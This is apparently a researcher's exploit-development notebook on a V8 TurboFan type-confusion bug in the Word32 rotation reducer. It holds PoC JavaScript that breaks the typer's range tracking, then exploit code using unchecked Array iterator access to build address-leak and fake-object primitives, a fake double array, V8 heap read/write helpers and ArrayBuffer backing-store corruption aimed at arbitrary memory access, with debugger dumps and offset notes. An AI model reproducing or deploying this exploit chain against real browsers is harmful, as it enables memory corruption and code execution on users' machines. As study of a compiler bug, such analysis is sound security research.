function foo(a,b) { //1, 0
a = a|0; //1
b = b|0; //0
return (a >>> b) ^ (a << (32-b)); // 1 ^ 1 = 0
}
console.log(foo(1, 0));//
//%OptimizeFunctionOnNextCall(foo);
for (var i = 0; i < 3e5; i++) foo(1, 0);
console.log(foo(1, 0));
有漏洞的phase:EarlyOptimizationPhase
reducer: MachineOperatorReducer
trace-turbo-reduction:
反映在turbolizer: GenericLowering phase

EarlyOptimization phase

可以看到中间的变化
注意观察这个phase的MachineOperatorReducer对Word32Xor Node的处理, 栈帧:
v8.dll!v8::internal::compiler::MachineOperatorReducer::TryMatchWord32Ror(v8::internal::compiler::Node * node) 行 1860 C++
v8.dll!v8::internal::compiler::Word32Adapter::TryMatchWordNRor(v8::internal::compiler::Node * node) 行 75 C++
v8.dll!v8::internal::compiler::MachineOperatorReducer::ReduceWordNXor<v8::internal::compiler::Word32Adapter>(v8::internal::compiler::Node * node) 行 1950 C++
v8.dll!v8::internal::compiler::MachineOperatorReducer::ReduceWord32Xor(v8::internal::compiler::Node * node) 行 1959 C++
v8.dll!v8::internal::compiler::MachineOperatorReducer::Reduce(v8::internal::compiler::Node * node) 行 318 C++
问题函数:
Reduction MachineOperatorReducer::TryMatchWord32Ror(Node* node) {
...
Int32BinopMatcher m(node);
Node* shl = nullptr;
Node* shr = nullptr;
// Recognize rotation, we are matching:
// * x << y | x >>> (32 - y) => x ror (32 - y), i.e x rol y
// * x << (32 - y) | x >>> y => x ror y
// * x << y ^ x >>> (32 - y) => x ror (32 - y), i.e. x rol y
// * x << (32 - y) ^ x >>> y => x ror y 这里有问题,V8里1<<32 = 1,如果x=1,y=0,推算结果应该是0(^符号代表按位异或),但是这里认为1<<32=0(如果按照左移的方法,的确是溢出变成0,但是V8解释器仍然认为是1,所以造成了运算结果的不相同),所以得出结果是1
// as well as their commuted form.
if (m.left().IsWord32Shl() && m.right().IsWord32Shr()) {
...
} else if (m.left().IsWord32Shr() && m.right().IsWord32Shl()) {
shl = m.right().node();
shr = m.left().node();
} else {
...
}
Int32BinopMatcher mshl(shl);
Int32BinopMatcher mshr(shr);
...
if (mshl.right().HasResolvedValue() && mshr.right().HasResolvedValue()) {
// Case where y is a constant.
...
} else {
Node* sub = nullptr;
Node* y = nullptr;
if (mshl.right().IsInt32Sub()) {
sub = mshl.right().node();
y = mshr.right().node();
} else if (mshr.right().IsInt32Sub()) {
...
} else {
...
}
Int32BinopMatcher msub(sub);
if (!msub.left().Is(32) || msub.right().node() != y) return NoChange();
}
node->ReplaceInput(0, mshl.left().node());
node->ReplaceInput(1, mshr.right().node());
//更换opcode(turbolizer的Node是拿opcode区分的)
NodeProperties::ChangeOp(node, machine()->Word32Ror());
return Changed(node);
发现一个神奇的地方: 在V8中所有数字(Number,不是BigInt)在V8中都是Float64类型,V8在做移位运算的时候,把数字转化位32位有符号整数,然后把运算结果转化回Float64 然而: 1<<32 = 1; (1<<31)<<1 = 0;
意味着V8中,1<<32与1<<0等价,或者是1<<32被简化(替代)为了1<<0(?)
1<<32的运算放在C++中会算数溢出,但是结果也仍然是1(?),也许V8为了避免算数溢出所以替换了移位运算
bug -> type confusion
function foo1(arg_true) {
let o = {c0: 0};
let c0a = arg_true ? 0 : "x";
let c0 = (Math.max(c0a, 0) + c0a);
let v01 = 2**32 + (o.c0 & 1);
let ra = ((2**32-1) >>> c0) - v01;
let rb = ((-1) << (32-c0));
return (ra^rb) >> 31;
}
for (var i = 0; i < 3e4; i++) foo1(true);
console.log(foo1(true));
TyperPhase的部分Graph,使用turbolizer自己看更清晰:

To trigger the type confusion in the first place, some further primitives are needed that are now described.
It is useful to have values that are unknown to the Typer-phase, but that can be fully reduced to constants during later phases like EarlyOptimization, where MachineOperatorReducer is first run.
This can be used to introduce uncertainty into types where needed to prevent e.g. constant folding.
This primitive can be obtained using the LoadElimination-phase: We use a local object o to hold a constant c0 equal to zero; whenever we load this constant the typer can speculate that this is a number, but cannot reason about its exact value.
通过创建Object o = {c0: 0}来隐藏c0的Range,后面的o.c0(LoadField)不会被TyperPhase检测到Range,只会被标记为Signed31。一个Typer无法确定Range的LoadField给了后面的BitwiseAnd一个不确定的Range(0,1),进而阻止后面的phase对这段Node的Constant Folding。
阻止计算的值被Constant Folding导致无法触发EarlyOptimizationPhase里MachinOperatorReducer的bug。
反映在turbolizer上是:o.c0躲在读取Object字段的LoadField后面,typer没有reducer处理LoadField,就无法准确设置Range;后面的LoadEliminationPhase会处理LoadField,从而影响Typer确定的SpeculativeBitwiseAnd(&)的Range。
方法源头: Link
Sometimes, the opposite construct is useful: a value whose type is fully known to the typer, but that isn't constant-folded away. This can be used to prevent unwanted optimizations, while maintaining type information that's as precise as possible. To do this, speculative conversions can be abused to make the typer assume a certain branch being taken, which results in a constant type (this is not a bug in itself, as the speculative assumptions are appropriately guarded by checks). The following construct seems to work well:
let c0a = arg_true ? 0 : "x";
let c0 = Math.max(c0a, 0) + c0a;
where arg_true is a function argument that is always set to true (giving false correctly leads to deoptimization).
It somehow results in c0 having Type Range(0, 0) without being constant-folded away.
I did not investigate the exact reason for this construct having the desired effect.
一种可以通过typer正确分析Range但是不会被constant folding的办法, 通过传入参数影响优化
There are still some obstacles in constructing a mis-typed value.
First, let's look at TryMatchWord32Ror in some more detail:
// Recognize rotation, we are matching:
// * x << y | x >>> (32 - y) => x ror (32 - y), i.e x rol y
// * x << (32 - y) | x >>> y => x ror y
// * x << y ^ x >>> (32 - y) => x ror (32 - y), i.e. x rol y
// * x << (32 - y) ^ x >>> y => x ror y
// as well as their commuted form.
...
if (mshl.left().node() != mshr.left().node()) return NoChange();
if (mshl.right().HasResolvedValue() && mshr.right().HasResolvedValue()) {
// Case where y is a constant.
if (mshl.right().ResolvedValue() + mshr.right().ResolvedValue() != 32)
return NoChange();
} else {
Node* sub = nullptr;
Node* y = nullptr;
if (mshl.right().IsInt32Sub()) {
sub = mshl.right().node();
y = mshr.right().node();
} else if (mshr.right().IsInt32Sub()) {
sub = mshr.right().node();
y = mshl.right().node();
} else {
return NoChange();
}
Int32BinopMatcher msub(sub);
if (!msub.left().Is(32) || msub.right().node() != y) return NoChange();
}
node->ReplaceInput(0, mshl.left().node());
node->ReplaceInput(1, mshr.right().node());
NodeProperties::ChangeOp(node, machine()->Word32Ror());
return Changed(node);
It at first seems easiest to use the first case where both shift amounts are known constants, but there is a problem:
If either of the shift amonuts is a zero constant, the shift will be completely optimized away.
We could instead use shift amounts like -32 and 64; however having both shift amounts outside the interval [0, 31] will unfortunately in the end lead to an unconstrained output type due to internals of the typer described below.
Instead, we will use the described technique of "typer-transparent variables" and have one shift amount be equal to the constructed c0 (which has type Range(0,0)), and the other one equal to 32-c0 (which has type Range(32,32)).
Those expressions precisely match the second case, while also giving fully transparent information about their values to the typer, but also not enabling optimization of x >> c0 to x.
Now, let's look at the relevant pieces of operation-typer.cc that are responsible for giving our initial expression its type:
Type OperationTyper::NumberBitwiseXor(Type lhs, Type rhs) {
DCHECK(lhs.Is(Type::Number()));
DCHECK(rhs.Is(Type::Number()));
lhs = NumberToInt32(lhs);
rhs = NumberToInt32(rhs);
if (lhs.IsNone() || rhs.IsNone()) return Type::None();
double lmin = lhs.Min();
double rmin = rhs.Min();
double lmax = lhs.Max();
double rmax = rhs.Max();
if ((lmin >= 0 && rmin >= 0) || (lmax < 0 && rmax < 0)) {
// Xor-ing negative or non-negative values results in a non-negative value.
return Type::Unsigned31();
}
if ((lmax < 0 && rmin >= 0) || (lmin >= 0 && rmax < 0)) {
// Xor-ing a negative and a non-negative value results in a negative value.
// TODO(jarin) Use a range here.
return Type::Negative32();
}
return Type::Signed32();
}
Unfortunately, this only computes sign information, so we need inputs where the optimization results in a value with the wrong sign bit. Here is the typer for left shifts (the one for logical right-shifts is quite similar, except for the overflow-check):
Type OperationTyper::NumberShiftLeft(Type lhs, Type rhs) {
...
lhs = NumberToInt32(lhs);
rhs = NumberToUint32(rhs);
...
if (max_rhs > 31) {
// rhs can be larger than the bitmask
max_rhs = 31;
min_rhs = 0;
}
if (max_lhs > (kMaxInt >> max_rhs) || min_lhs < (kMinInt >> max_rhs)) {
// overflow possible
return Type::Signed32();
}
double min =
std::min(static_cast<int32_t>(static_cast<uint32_t>(min_lhs) << min_rhs),
static_cast<int32_t>(static_cast<uint32_t>(min_lhs) << max_rhs));
double max =
std::max(static_cast<int32_t>(static_cast<uint32_t>(max_lhs) << min_rhs),
static_cast<int32_t>(static_cast<uint32_t>(max_lhs) << max_rhs));
if (max == kMaxInt && min == kMinInt) return Type::Signed32();
return Type::Range(min, max, zone());
}
Problematic is the check max_rhs > 31: If the shift amounts have to sum to 32, one of them has to lie outside the range [0, 31], which makes it completely unknown to the typer.
But there is one case that still works: consider x=-1 and the expression (x>>>0) ^ (x<<32).
The typer can easily reason the left side to be equal to -1 and thus negative; and for the right side it considers all possible shifts from x<<31 to x<<0, which are still all negative.
Thus, both sides get typed to a range of negative 32-bit integers; which results in the xor-Result having type Unsigned31.
However, after the faulty optimization the result is actually ror(-1, 0) = -1, which is negative, thus breaking the typer's range-tracking.
There are two additional details:
First, because the logical right-shift works on unsigned 32-bit values, we have to supply the value 2**32-1 instead of -1, or else the typer's NumberToUint32 operation couldn't reason about the result of the Uint32-truncation.
Conversely, we have to subtract 2**32 from the result (which has type Range(2**32-1, 2**32-1) at this point) to actually bring it in the negative range (in the view of the typer).
注意这里,逻辑右移只能用于Unsigned32,所以说,逻辑右移的Input Node一定要是Unsigned32的Range,否则无法产生Range为负的逻辑右移Type
反映在turbolizer:

不接受负数(Signed31),否则Range就会出错

This is not actually a problem: After the SimplifiedLowering-stage decides that all relevant values can be truncated to 32-bit words the constants 2**32-1 and -1 get merged (thus passing the check of TryMatchWord32Ror that the left-hand sides of the shifts are the same node), and the subtraction gets truncated to a Word32Sub(..., 0), which gets optimized away.
Second, this new subtraction has the problem of getting constant-folded away; to prevent this, we can simply use the technique of "typer-opaque constants"; instead of subtracting 2**32 we subtract 2**32 + (o.c0&1) which has type Range(2**32, 2**32+1), but is known to be 2**32 after SimplifiedLowering.
This just widens the left-hand side's type to Range(-2, -1), still maintaining the information that it is negative.
To make that wrongly-typed value a bit nicer we finally (arithmetically) right-shift by 31, resulting in a type of Range(0,0) but a real value of -1.
The full PoC for breaking the typer is:
function foo(arg_true) {
let o = {c0: 0};
let c0a = arg_true ? 0 : "x";
let c0 = (Math.max(c0a, 0) + c0a);
let v01 = 2**32 + (o.c0 & 1);
let ra = ((2**32-1) >>> c0) - v01;
let rb = ((-1) << (32-c0));
return (ra^rb) >> 31;
}
for (var i = 0; i < 3e4; i++) foo(true);
console.log(foo(true));
The resulting output is -1, while the the type of the final SpeculativeNumberShiftRight node is Range(0, 0).
32 = 0
-1 >> 32 = -1 有符号右移,保留符号位
-1 >>> 32 = MaxUint(32) 4294967295 = 0xffffffff 无符号右移,先将Int32转Uint32,再右移
-1 << 32 = -1 有符号左移,保留符号位
2**32-1 = -1 ,用来适应Uint32并代替-1
实际上Typer计算的是正确的,而后面的MachineOperatorReducer的计算是错误的。
上面的两种方法都是构造Type Confusion(在这里是Typer的Range和实际结果不同)的条件,保证到MachineOperatorReducer::TryMatchWord32Ror的时候还保留着触发计算错误的条件。
Poc
function foo(arg) {
let r = arg ? 0 : 'x';
let s = Math.max(r, 0) + r;
let o = { p: 0 };
let x = ((2 ** 32 - 1) >>> s) - (2 ** 32 + (o.p & 1));
let y = (-1) << (32 - s);
let z = 0 - ((y ^ x) >> 31);
return z;
}
z 在TyperPhase确定下来的Range是(0, 0),但是实际上是1,这就为我们后面利用Type Confusion做下铺垫。
function foo(arg) {
let r = arg ? 0 : 'x';
let s = Math.max(r, 0) + r;
let o = { p: 0 };
let x = ((2 ** 32 - 1) >>> s) - (2 ** 32 + (o.p & 1));
let y = (-1) << (32 - s);
let z = 0 - ((y ^ x) >> 31);
let arr = [1.1, 2.2, 3.3, 4.4, 5.5];
return arr[z * 6];
}
我们尝试通过z来实现OOB Read,但是会crash
==== C stack trace ===============================
(No symbol) [0x00000108001C41DE]
(No symbol) [0x00000108081C31F5]
(No symbol) [0x0000000000000001]
(No symbol) [0x00000108081D2C59]
(No symbol) [0x00000108081C31F5]
(No symbol) [0x000000D961FFE050]
(No symbol) [0x000001080004B941]
(No symbol) [0x00000108081C31E5]
(No symbol) [0x000001080800248D]
(No symbol) [0x00000108080023B5]
(No symbol) [0x00000108080023B5]
(No symbol) [0x000001080800248D]
(No symbol) [0x00000108081D2C59]
(No symbol) [0x00000108080023B5]
(No symbol) [0x000000000000008A]
(No symbol) [0x00000108081D29ED]
在turbolizer中,可以看到TyperPhase的SpeculativeNumberMultiply的Range为(0, 0),也就是我们的z(Graph是SSA),后面跟了一个CheckBounds,Range(0, 0)。

后面才是LoadElement,也就是array access。 而整个CheckBounds在后面的phase会被Lowering为CheckUint32Bounds,进而变成

超出bounds的会crash。
在进行Array Access时,都会有CheckBounds做保护;而后V8引入_Aborting Bounds Check_, commit 7bb6dc0e06fa158df508bc8997f0fce4e33512a5,V8 7.4
以前bounds check失败后会退回到deopt(去优化),现在直接crash
SimplifiedLoweringPhase中,VisitCheckBounds会尝试Lowering CheckBounds节点
void VisitCheckBounds(Node* node, SimplifiedLowering* lowering) {
...
// Conversions, if requested and needed, will be handled by the
// representation changer, not by the lower-level Checked*Bounds operators.
CheckBoundsFlags new_flags =
p.flags().without(CheckBoundsFlag::kConvertStringAndMinusZero);
...
new_flags |= CheckBoundsFlag::kAbortOnOutOfBounds;
...
ChangeOp(node,
simplified()->CheckedUint32Bounds(feedback, new_flags));
...
}
CheckBounds应该细节不少,包括后面的优化什么的,不过都可以结合turbolizer和汇编看 。。。
。。。
正常情况下,array access都会被CheckBounds保护。
调试时可以发现,尝试执行foo时会触发断点

(注意r9,CheckBounds正确计算出来了array access)
那是因为我们执行到了Unreachable Node。

对应的汇编代码为

Unreachable Node最后会被Turbofan优化为0xcc
通过上面的turbolizer生成图,我们知道没有通过CheckBounds,OOB会失败
使用kMaxValue生成Array
arr.shift() not working
I additionally found a new typer hardening bypass to escalate this bug into arbitrary code execution.
Array accesses should all be guarded by appropriate CheckBounds nodes to prevent out-of-bound-accesses in case of typer bugs.
However, this is not the case when accesssing an array via an iterator.
Consider JSCallReducer::ReduceArrayIteratorPrototypeNext in src/compiler/js-call-reducer.cc; the only two index-checks performed are the following (around line 6250):
Node* check = graph()->NewNode(simplified()->NumberLessThan(), index, length);
...
index = etrue = graph()->NewNode(
common()->TypeGuard(
Type::Range(0.0, length_access.type.Max() - 1.0, graph()->zone())),
index, etrue, if_true);
However, this is not enough: Due to the LoadElimination stage, the length of the array can actually be propagated directly from the value we give into the array constructor, which means that type information is also propagated.
This can result in the elimination of the NumberLessThan()-check, leading to an out-of-bounds-access.
Thus, we can simply construct an array with a length shorter than its type implies, construct an iterator and incrementally push it out-of-bounds with repeated next()-calls (for this we can't use a loop, as the type-constraints for the current index position have to propagate from each call to the next).
From there, read-write-access can be obtained into an adjacent array of a different type, which enables getting object addresses and constructing fake objects.
使用Array.Iterator
turbolizer看见没有CheckBounds保护
var _dview = null;
function i2f(low, hi) {
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
_dview.setUint32(0, hi);
_dview.setUint32(4, low);
return _dview.getFloat64(0);
}
function f2i(f) {
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
_dview.setFloat64(0, f);
return {
low: _dview.getUint32(4),
hi: _dview.getUint32(0)
};
}
function f2bi(f) {
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
_dview.setFloat64(0, f);
return _dview.getBigUint64(0);
}
function u2d(low, hi) {
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
_dview.setUint32(0, hi);
_dview.setUint32(4, low);
return _dview.getFloat64(0);
}
function d2u(d) {
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
_dview.setFloat64(0, d);
return {
low: _dview.getUint32(4),
hi: _dview.getUint32(0)
};
}
function force_gc() {
for (var i = 0; i < 0x80000; ++i) {
var a = new ArrayBuffer();
}
}
class LeakArrayBuffer extends ArrayBuffer {
constructor(size) {
super(size);
this.slot = {};
}
}
class LeakBigUint64Array extends BigUint64Array {
constructor (size) {
super(size);
this.slot = {};
}
}
测试代码:
var evil = null;
var victim = null;
function leak_addr (arg, obj) {
let r = arg ? 0 : 'x';
let s = Math.max(r, 0) + r; // s = 0
let o = { p: 0 };
let x = ((2 ** 32 - 1) >>> s) - (2 ** 32 + (o.p & 1));
let y = (-1) << (32 - s);
let z = 1 + ((y ^ x) >> 31); //Range(1, 1), z = 0
//let evil2 = new Array(3 + 30 * z);
evil = new Array(3 + 30 * z);
evil[0] = 1.1; //Type: double
//let victim2 = new Array(0x4);
victim = new Array(4);
for (var idx = 0; idx < 4; idx += 1) {
victim[idx] = {}; //Type: Object
}
victim[1] = obj;
let iter = evil[Symbol.iterator]();
iter.next(); iter.next(); iter.next(); iter.next();
iter.next();
iter.next();
let ret = iter.next().value;
return ret; //return Type: double
}
let leak_tool = new LeakArrayBuffer(0x100);
for (i = 0; i < 10 ** 5; i++){
leak_addr(true, leak_tool);
}
leak_result = f2i(leak_addr(true, leak_tool)).hi - 1;
这里创建Array的Range是33,但是真正在heap上的Array长度是3,因为在heap上创建Array时是拿着真正的值计算的,而不是Range,Range只在Type上做限定,所以Typer允许的Array access范围大于真正的Array范围,超越真正范围的access是Typer允许的。但是Array access是被CheckBounds保护,CheckBounds计算是否越界时是拿真正的值计算的,所以还得想办法绕过CheckBounds,也就是后面我们用的没有CheckBounds保护的Symbol.Iterator access方式。
这里有个很重要的点,可以看到evil的element type是double,而victim的element type是SMI/Object,我们用Iterator越界read的时候,是以evil的double类型读的,所以需要转换double类型为integer。可以看出evil和victim的Type是很重要的,我们可以利用这种Type的关系实现一些原始primitives,然后逐步创建出OOB RW primitives。
幸运的是,我们采用的创建Fake Object方法不需要很多的执行次数,也不需要通过传入参数控制iter.next()的执行次数。
无法直接使用漏洞进行write,因为我们操作的是两个Array(思考1:也许可以换成其他类型?),再怎么操作也只是限于Array的element范围内,write也只能在这个范围内。
这种方法比较适合于目前的情况。
测试代码:
function fake_obj (arg, value) { //double
let r = arg ? 0 : 'x';
let s = Math.max(r, 0) + r; // s = 0
let o = { p: 0 };
let x = ((2 ** 32 - 1) >>> s) - (2 ** 32 + (o.p & 1));
let y = (-1) << (32 - s);
let z = 1 + ((y ^ x) >> 31); //Range(1, 1), z = 0
//let evil2 = new Array(3 + 30 * z);
evil = new Array(3 + 30 * z);
//evil2[0] = {}; // array type: Object
evil[0] = {};
//let victim2 = new Array(0x5);
victim = new Array(0x5);
//for (var idx = 0; idx < 5; idx += 1) victim2[idx] = 13.37; // double
for (var idx = 0; idx < 5; idx += 1) victim[idx] = 1.1; // double
//victim2[1] = value;
victim[0] = value;
//let iter = evil2[Symbol.iterator]();
let iter = evil[Symbol.iterator]();
iter.next(); iter.next(); iter.next(); //skip evil's elements
iter.next(); iter.next(); iter.next(); iter.next(); //skip evil's header
iter.next(); iter.next(); iter.next(); iter.next();
iter.next(); iter.next(); iter.next();//skip useless
iter.next(); iter.next();//skip victim's element header
let ret = iter.next().value; //return type: Object
return ret;
//let ret = iter.next();
//return ret.value;
}
注意:需要多加调试才能确定iter.next()的执行次数
用于将一个地址当作Object。
我们采取创建一个Fake Array的办法,使用创建的Fake Array来实现OOB RW。
创建一个Fake Array首先需要知道Array的map,properties,elements。 我们通过我们的read方法,可以很简单的获得一个Array的上述属性。
代码仍然使用iter.next(),和上面的区别在于iter.next()执行的次数和需要获取的Array element type(double、SMI还是Object)。
注意内存布局,内存布局会受到堆上对象分配的影响而变化。
也许应该结合turbolizer生成图,才能更好的了解这个漏洞执行过程?
function read_double_array_map_elements (arg) {
let r = arg ? 8 : 'x';
let s = (Math.max(r, 0) + r - 16); // s = 0
let o = { p: 0 };
let x = ((2 ** 32 - 1) >>> s) - (2 ** 32 + (o.p & 1));
let y = (-1) << (32 - s);
let z = 1 + ((y ^ x) >> 31); //Range(1, 1), z = 0
//let evil = new Array(3 + 30 * z);
evil = new Array(3 + 30 * z);
evil[0] = 1.1;
//let victim = new Array(0x2);
//victim = new Array(0x2);//buffer太小会影响element布局
/**
0000011d`08242164 082421dd 00000004 080023d1 00000000
0000011d`08242174 41dffe00 080023d1 00000000 41dffe00
0000011d`08242184(evil)08203b09 0800222d 082421bd 00000006
0000011d`08242194(victim)08203b09 0800222d 082421a5 00000004
0000011d`082421a4 08002a95 00000004 9999999a 3ff19999
0000011d`082421b4 9999999a 40019999 08002a95 00000006
0000011d`082421c4 9999999a 3ff19999 fff7ffff fff7ffff
0000011d`082421d4 fff7ffff fff7ffff 08002205 00000004
0000011d`082421e4 080023b5 080023b5 0800229d 0000fe58
*/
//首先应该victim大小大于evil
//let victim = new Array(0x4);
victim = new Array(0x4);
//victim = new Array(0x5);
victim[0] = 1.1;
victim[1] = 2.2;//double typed
victim[2] = 3.3;
victim[3] = 4.4;
//下面这个看起来是错误的,为啥会对漏洞利用有影响呢?在victim是array[4]下,没有这句话,利用就会失败
//array[5]呢?array[5]会读不出来map和properties,也许这个victim实际上是5长度?下面的测试victim
//说明,DebugPrint的确是5
//那说明victim是5,但是下标[4]没有赋值就是hole,iter读到了hole会出错(结果是7ff80000)?
//还有,为何声明长度为5时,为何会出错呢?下面的代码可能顺序有问题,调整下顺序可能会更好看
//我们从返回值可以看到,victim的长度的确为4,为何和DebugPrint不一样呢?
//单独摘出来代码测试看出来,的确是4,而且这样的内存布局都变了
/*
d8> %DebugPrint(evil);
0x018708242185 <JSArray[3]>
[1.1, , ]
d8> %DebugPrint(victim);
0x018708242195 <JSArray[4]>
[1.1, 2.2, 3.3, 4.4]
0:012> dd 0x018708242185-1
00000187`08242184 08203b09 0800222d 0824221d 00000006
00000187`08242194 08203b09 0800222d 082421f5 00000008
这样是不可能读到victim的,可以看到evil的element已经跑到victim的后面了,而它应该在evil前面才行
看起来应该使用长度5,那么下面的iter.next()数量也应该改了
这次就对了
将后面的代码还原之后,发现再次出错
0x0222080ef1a5 <JSArray[3]>
0x0222080ef1e5 <JSArray[5]>
double array map : 0x0
double array properties : 0x7ff80000
double array element type : 0x0
double array length : 0x7ff80000
显然内存布局又变了
0x02c908320185 <JSArray[3]>
0x02c9083201c5 <JSArray[5]>
以前用4还挺稳定的,还是用以前的吧
也许因为优化,这里越界赋值,反而导致victim长度增长了
下面的DebugPrint是对的,没有越界赋值就是4,越界赋值就是5
*/
victim[4] = 5.5;
let iter = evil[Symbol.iterator]();
iter.next(); iter.next(); iter.next(); //jump over evil's elements
//let r1 = iter.next().value;
iter.next();
iter.next(); // jump over evil's header
//iter.next(); iter.next();
let r2 = iter.next(); //victim's elements' header
// iter.next();
iter.next(); iter.next();
iter.next(); iter.next();// jump over victim's elements
let r1 = iter.next(); //victim's header
return [r1.value, r2.value];
//return [r1, r2];
}
我们拿到double array的map等数据之后,就可以构建一个fake double array。
//这种组织方式更不稳定,element离header非常远(0x100以外,偏移大小变化)
//或许放到OldSpace会更好一些?
//试着放到了OldSpace,但是看起来效果不咋地,还是摒弃了
/*
var fake_array_container = [3.512700564088504e-303,
i2f(double_array_map, double_array_properties),
i2f(0x1337, 0x8), i2f(double_array_element, 0x8),
0.0, 0.0,0.0,0.0
];
*/
var fake_array_container = new Array(0x9);
//var fake_array_container = new Array(0x8);
fake_array_container[0] = 3.512700564088504e-303; //type as double array
fake_array_container[1] = i2f(double_array_map, double_array_properties);
fake_array_container[2] = i2f(0x1337, 0xa);//这里是element地址和array长度,由于map等来自array[5]
//fake_array_container[2] = i2f(SMI_addrof_fake_array_container + 0x40, 0x2);
fake_array_container[3] = i2f(double_array_element, 0x8);
fake_array_container[4] = 0.0;
fake_array_container[5] = 0.0;
fake_array_container[6] = 0.0;
fake_array_container[7] = 0.0;
fake_array_container[8] = 0.0;
为了稳定,需要将fake array container放到OldSpace中。
force_gc();
force_gc(); //将fake array container放到OldSpace
然后我们可以通过Leak的方式,获得container的SMI地址,由于container在OldSpace,所以container的地址和container的elements地址之间的偏移是比较固定的(如果内存布局有变化,偏移也会受影响,所以需要经常调试,确定最后的偏移)。
/* 0:015> dd 0x026408385da9-1
00000264`08385da8 08203b09 0800222d 08385df9 0000000a
00000264`08385db8 080023d1 08203b09 0800222d 080023d1
00000264`08385dc8 08002a95 00000008 08005bd9 00020002
00000264`08385dd8 00000000 080021f9 081d29cd 00000088
00000264`08385de8 00000002 081d29dd 00100488 00000002
00000264`08385df8 08002a95 0000000a 89abcdef 01234567
00000264`08385e08 08203b09 0800222d 00001337 00000002
00000264`08385e18 08002a95 00000002 00000000 00000000
这种好像偏移在0x50上,那下面的偏移就应该是0x50+0x20=0x70。再试试
经历了一次失败
0:015> dd 0x020208382509-1
00000202`08382508 08203b09 0800222d 08382559 0000000a
0:015> dd 0x033708385da9-1
00000337`08385da8 08203b09 0800222d 08385df9 0000000a
0:015> dd 0x008008385da9-1
00000080`08385da8 08203b09 0800222d 08385df9 0000000a
。。。中间有一次没有记录,但是偏移仍然是0x50
0:015> dd 0x02c208382509-1
000002c2`08382508 08203b09 0800222d 08382559 0000000a
目前看起来还不错
0:015> dd 0x000c08385da9-1
0000000c`08385da8 08203b09 0800222d 08385df9 0000000a
就算加入了var fake_array = null;看起来也没有影响,可能因为fake_array存在于NewSpace
0:015> dd 0x021908382509-1
00000219`08382508 08203b09 0800222d 08382559 0000000a
0:015> dd 0x03680834bcc9-1
00000368`0834bcc8 08203b09 0800222d 0834bcf1 0000000a
这里,偏移又变了,估计有什么发生了变化
经历了一次失败
经历了一次失败
0:012> dd 0x004e08382509-1
0000004e`08382508 08203b09 0800222d 08382559 0000000a 又恢复了0x50的偏移
0:015> dd 0x00b1083828f9-1
000000b1`083828f8 08203b09 0800222d 08382949 0000000a
0:012> dd 0x01b208382509-1
000001b2`08382508 08203b09 0800222d 08382531 00000010 调整fake array container大小,导致偏移变化
0:015> dd 0x00fc083507a5-1
000000fc`083507a4 08203b09 0800222d 083507cd 00000010
0:015> dd 0x0293083828f9-1
00000293`083828f8 08203b09 0800222d 08382921 00000010
0:015> dd 0x007308382521-1
00000073`08382520 08203b09 0800222d 08382549 00000012
0:015> dd 0x0085083828f9-1
00000085`083828f8 08203b09 0800222d 08382949 00000012 又变回0x50了
0:015> dd 0x03d508385da9-1
000003d5`08385da8 08203b09 0800222d 08385df9 00000012
目前为止,偏移还是很稳定
把host buffer提前之后,偏移又有了变化
0:000> dd 342`083826c9-1
00000342`083826c8 08203b09 0800222d 08382701 00000012
由于偏移变化,fake_array识别也变了
0x034208382729 <JSObject>
调整了偏移之后,又好了
0:000> dd 322083826c9-1
00000322`083826c8 08203b09 0800222d 08382701 00000012
又变了
0:000> dd 15c`08386179-1
0000015c`08386178 08203b09 0800222d 08386189 00000012
第一次见到这么接近的
修改下偏移再次试试
维持新的偏移
0:015> dd 123`08386159-1
00000123`08386158 08203b09 0800222d 08386169 00000012
知道了element的地址,我们就知道了fake array的地址,通过fake object可以创建一个由我们控制的double array。
for (i = 0; i < 10 ** 5; i++) fake_obj(true, i2f(SMI_addrof_fake_array_container + 0x20, 0x8));
let fake_array = fake_obj(true, i2f(SMI_addrof_fake_array_container + 0x20, 0x8));
DebugPrint可以得到如下结果:
0x0232083825c1 <JSArray[4]>
这样我们就可以通过修改fake array container的元素,修改fake array的elements字段,达到操纵fake array,实现在V8堆空间内Read/Write的目的。
function v8heap_read32 (addr) { //使用真实SMI地址,不是tagged
fake_array_container[2] = i2f(addr - 0x8 + 0x1, 0x8);
return f2i(fake_array[0]).low;
}
function v8heap_write32 (addr, value) { //使用真实SMI地址,不是tagged;value是SMI
fake_array_container[2] = i2f(addr - 0x8 + 0x1, 0x8);
hi = f2i(fake_array[0]).hi;
fake_array[0] = i2f(value, hi);
}
前面我们已经实现了V8堆空间内RW,那么我们就可以先获取V8的堆基址。
基址寻找比较简单,是固定的位置。
//寻找V8的堆基址:
/**
* 0:015> dd 000003d5`08000000
000003d5`08000000 00021000 00000000 00300080 00000000
000003d5`08000010 00000000 00000000 08002118 000003d5(这里,固定的偏移)
000003d5`08000020 08021000 000003d5(这里,固定的偏移) 0001edcc 00000000
0:012> dd 0000037a`08000000
0000037a`08000000 00021000 00000000 00300080 00000000
0000037a`08000010 00000000 00000000 08002118 0000037a
0000037a`08000020 08021000 0000037a 0001edcc 00000000
*/
这里为了实现任意内存地址RW,我们必须用到些工具。
class LeakArrayBuffer extends ArrayBuffer {
constructor (size) {
super(size);
this.slot = {};
}
}
class LeakBigUint64Array extends BigUint64Array {
constructor (size) {
super(size);
this.slot = {};
}
}
LeakArrayBuffer 有一个64bit指针(backing store)。
LeakBigUint64Array 有base pointer和external pointer,两个相加就是64bit地址。
两个都有一个 slot 属性,这个便是用于Leak V8堆内存里面对象的地址。由于slot是SMI,所以加上V8堆基址,才是64bit的地址。
这两个工具我们可以DebugPrint得到其数据结构和内存偏移。
这里用这两个任意一个都可以。我们选择使用 LeakArrayBuffer 。
我们将用2个上述工具,修改第一个的backing store,为第二个的地址,从而通过第一个工具控制第二个,通过第二个工具来实现RW和Leak。
为了稳定,我们需要将其放在OldSpace,以免在NewSpace经常被Scavenger移动内存位置。
var host_buffer1 = new LeakArrayBuffer(0x80100);
var host_buffer2 = new LeakArrayBuffer(0x80200);
force_gc();
force_gc();
我们通过leak地址,加上V8堆空间RW,就可以修改LeakArrayBuffer的backing store。
evil = null;
victim = null;
for (i = 0; i < 10 ** 5; i++) leak_addr(true, host_buffer1);
let addrof_host_buffer1 = leak_addr(true, host_buffer1);
evil = null;
victim = null;
for (i = 0; i < 10 ** 5; i++) leak_addr(true, host_buffer2);
let addrof_host_buffer2 = leak_addr(true, host_buffer2);
